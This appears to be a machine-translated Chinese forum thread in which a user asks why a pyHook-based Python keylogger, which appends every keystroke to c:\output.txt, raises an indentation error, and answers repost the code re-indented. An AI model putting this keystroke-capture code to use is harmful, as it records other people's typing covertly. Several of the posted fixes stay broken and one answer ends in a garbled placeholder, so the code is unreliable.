Python错误:应为缩进的B

2024-06-16 11:36:34 发布

您现在位置:Python中文网/ 问答频道 /正文

我一直在篡改Python和keylogger,试图找到一个关于如何构建一个完整的教程,但是没有找到。与实际的python更新和pyhooks相比,模块的可用性和pyhook的兼容性是非常困难的。总之,我终于找到了一个可行的教程,得到了“预期的预期块”错误。这是密码。在

import win32api 
import sys
import pythoncom, pyHook 
buffer = ''

def OnkeyboardEvent(event):
if event.Ascii == 5: 
sys.exit()

if event.Ascii != 0 or 8: 
f = open ('c:\\output.txt', 'a') 
keylogs = chr(event.Ascii) 
if event.Ascii == 13: 
keylogs = keylogs + '\n' 
f.write(keylogs) 
f.close()

while True:
hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 
hm.HookKeyboard() 
pythoncom.PumpMessages()

我在第五行代码中得到错误(如果事件.Ascii==5:)如果它不允许我运行该模块,它有问题。有什么帮助吗?谢谢。在


Tags: 模块importeventif错误sysascii教程
3条回答
import win32api 
import sys
import pythoncom, pyHook 
buffer = ''

def OnKeyboardEvent(event):
    if event.Ascii == 5:
    sys.exit()
    if event.Ascii != 0 or 8:
        f = open ('c:\\output.txt', 'a')
        keylogs = chr(event.Ascii)
    if event.Ascii == 13:
        keylogs = keylogs + '\n'
        f.write(keylogs)
        f.close()
    while True:
        hm = pyHook.HookManager()
        hm.KeyDown = OnKeyboardEvent
        hm.HookKeyboard()
        pythoncom.PumpMessages()

我不确定代码是否有效。这只是一个例子,我们应该如何在python中缩进,因为这里没有大括号。你也可以参考这个。在

http://www.secnetix.de/olli/Python/block_indentation.hawk

在代码中使用正确的python代码格式:

import win32api 
import sys
import pythoncom, pyHook 
buffer = ''

def OnKeyboardEvent(event):
    if event.Ascii == 5: 
        sys.exit()

if event.Ascii != 0 or 8: 
    f = open ('c:\\output.txt', 'a') 
    keylogs = chr(event.Ascii) 
    if event.Ascii == 13: 
       keylogs = keylogs + '\n' 
       f.write(keylogs) 
       f.close()

while True:
    hm = pyHook.HookManager() 
    hm.KeyDown = OnKeyboardEvent 
    hm.HookKeyboard()
    pythoncom.PumpMessages()

为python脚本添加适当的格式,例如为OnKeyboardEvent函数正确添加标识:

def OnKeyboardEvent(event):
    if event.Ascii == 5: 
        sys.exit()
    if event.Ascii != 0 or 8: 
        f = open ('c:\\output.txt', 'a') 
        keylogs = chr(event.Ascii) 
    if event.Ascii == 13: 
        keylogs = keylogs + '\n' 
        f.write(keylogs) 
        f.close()

同时,while循环应该包含标识:

^{pr2}$

请参阅那篇文章的Lines and Indentation部分。在

相关问题 更多 >